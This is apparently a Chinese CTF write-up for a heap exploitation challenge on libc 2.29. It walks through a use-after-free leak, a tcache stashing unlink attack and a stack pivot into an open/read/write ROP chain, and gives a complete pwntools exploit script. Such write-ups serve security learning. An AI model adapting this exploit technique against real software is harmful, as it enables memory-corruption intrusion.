[2020 新春红包题]3(libc2.29 tcache tashing unlink )

[2020 新春红包题]3:

  • 程序分析:
  • 漏洞点:
  • 解题思路:
  • 具体步骤:
    • 0x01 uaf泄露heap_base,libc_base:
    • 0x02 small bin中放入两个chunk:
    • 0x03 tcache Stashing Unlnk写入值:
    • 0x04 堆中写入orw链,栈迁移执行
  • 完整exp:
  • 参考师傅:

程序分析:

禁用了execve,没有canary
[2020 新春红包题]3(libc2.29 tcache tashing unlink )_第1张图片
程序功能齐全,index可以自己定,add用的是calloc,(calloc不会从tcache取chunk,calloc申请时会清零)
就是有一些限制:
最多add0x1c次
edit只有一次
add长度固定1.0x10 2.0xf0 3.0x300 4.0x400

还存在后门,满足heap0x1000+0x800处大于0x7f0000000000就可以有个栈溢出
[2020 新春红包题]3(libc2.29 tcache tashing unlink )_第2张图片

漏洞点:

存在uaf和栈溢出
[2020 新春红包题]3(libc2.29 tcache tashing unlink )_第3张图片
[2020 新春红包题]3(libc2.29 tcache tashing unlink )_第4张图片

解题思路:

用tcache tashing unlink的攻击方法
改heap0x1000+0x800处写入main_arena地址,然后溢出栈迁移到堆中写入的orw链读取flag

具体步骤:

0x01 uaf泄露heap_base,libc_base:

填满7个tcache 0x410,释放到unsortbin中,泄露libc
tcache中填6个相同smallbin范围内的chunk

为了使用Tcache Stashing Unlink Attack,我们需要先向0x100大小的Tcache
Bin释放6个Chunk,这样,在将我们伪造的Fake_chunk放入Tcache Bin区域时,Tcache
Bin区域将会填满,程序不会继续通过我们伪造的bk指针向后继续遍历

for i in range(7):
    add(0,4,'0x410')
    free(0)
for i in range(6):
    add(1,2,'0x100')
    free(1)
show(1)
heap_base=uu64(rc(6))-0x32e0
info('heap_base',heap_base)
add(0,4,'0x410')
add(2,1,'0x20')
free(0)
show(0)
libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
info('libc_base',libc_base)

0x02 small bin中放入两个chunk:

申请堆块如果unsortbin大小不足,则会把unsortbin割剩下的堆块放入对应bin中,这里0x100是smallbin范围,所以放入smallbin

add(3,3,'0x310')
add(3,3,'0x310')#0x100smallbin1
add(4,4,'0x410')
add(1,3,'0x310')
free(4)
add(5,3,'0x310')
add(5,3,'0x310')#0x100smallbin2

0x03 tcache Stashing Unlnk写入值:

uaf在释放到unsortbin的堆写入,控制smallbin2的fd,bk
由于tache中有6个,再释放一个填满,所以只会检查fd是不是指向smallbin1
然后main_arena的地址会写入addr_we_want2write

addr_we_want2write=heap_base+0x250+0x800
smallbin1_addr=heap_base+0x37e0
payload=flat('a'*0x300,0,0x101,smallbin1_addr,addr_we_want2write)
edit(4,payload)
add(6,2,'0x100')

可以看到已经成功改写了
[2020 新春红包题]3(libc2.29 tcache tashing unlink )_第5张图片

0x04 堆中写入orw链,栈迁移执行

pop_rdi=0x26542+libc_base
pop_rsi=0x26f9e+libc_base
pop_rdx=0x12bda6+libc_base
pop_rax=0x47cf8+libc_base
leave_ret=0x58373+libc_base
orw='flag'+p32(0)
heap6_addr=heap_base+0x4650
orw+=flat(pop_rdi,heap6_addr,pop_rsi,0,libc.sym['open']+libc_base)
orw+=flat(pop_rdi,3,pop_rsi,heap6_addr+0x200,pop_rdx,0x50,libc.sym['read']+libc_base)
orw+=flat(pop_rdi,1,pop_rsi,heap6_addr+0x200,pop_rdx,0x50,libc.sym['write']+libc_base)
add(6,4,orw)
sla('Your input: ','666')
sa('What do you want to say?','a'*0x80+p64(heap6_addr)+p64(leave_ret))

[2020 新春红包题]3(libc2.29 tcache tashing unlink )_第6张图片

完整exp:

from pwn import *
local_file  = './RedPacket_SoEasyPwn1'
local_libc  = './libc-2.29.so'
remote_libc = './libc-2.29.so'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',29412 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------------
def add(idx,choose,content):
    sla('Your input: ','1')
    sla('Please input the red packet idx: ',str(idx))
    sla('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ',str(choose))
    sla('Please input content: ',content)
def free(idx):
    sla('Your input: ','2')
    sla('Please input the red packet idx: ',str(idx))
def edit(idx,content):
    sla('Your input: ','3')
    sla('Please input the red packet idx: ',str(idx))
    sla('Please input content: ',content)
def show(idx):
    sla('Your input: ','4')
    sla('Please input the red packet idx: ',str(idx))

#----------------------------------------------------
for i in range(7):
    add(0,4,'0x410')
    free(0)
for i in range(6):
    add(1,2,'0x100')
    free(1)
show(1)
heap_base=uu64(rc(6))-0x32e0
info('heap_base',heap_base)
add(0,4,'0x410')
add(2,1,'0x20')
free(0)
show(0)
libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
info('libc_base',libc_base)
#------------------------------
add(3,3,'0x310')
add(3,3,'0x310')#0x100smallbin1
add(4,4,'0x410')
add(1,3,'0x310')
free(4)
add(5,3,'0x310')
add(5,3,'0x310')#0x100smallbin2
#------------------------------
addr_we_want2write=heap_base+0x250+0x800
smallbin1_addr=heap_base+0x37e0
payload=flat('a'*0x300,0,0x101,smallbin1_addr,addr_we_want2write)
edit(4,payload)
add(6,2,'0x100')
#-----------------------------------
pop_rdi=0x26542+libc_base
pop_rsi=0x26f9e+libc_base
pop_rdx=0x12bda6+libc_base
pop_rax=0x47cf8+libc_base
leave_ret=0x58373+libc_base
orw='flag'+p32(0)
heap6_addr=heap_base+0x4650
orw+=flat(pop_rdi,heap6_addr,pop_rsi,0,libc.sym['open']+libc_base)
orw+=flat(pop_rdi,3,pop_rsi,heap6_addr+0x200,pop_rdx,0x50,libc.sym['read']+libc_base)
orw+=flat(pop_rdi,1,pop_rsi,heap6_addr+0x200,pop_rdx,0x50,libc.sym['write']+libc_base)
add(6,4,orw)
sla('Your input: ','666')
sa('What do you want to say?','a'*0x80+p64(heap6_addr)+p64(leave_ret))
#debug()
r.interactive()

参考师傅:

https://www.anquanke.com/post/id/198173#h3-6

你可能感兴趣的:(PWN,pwn,ctf)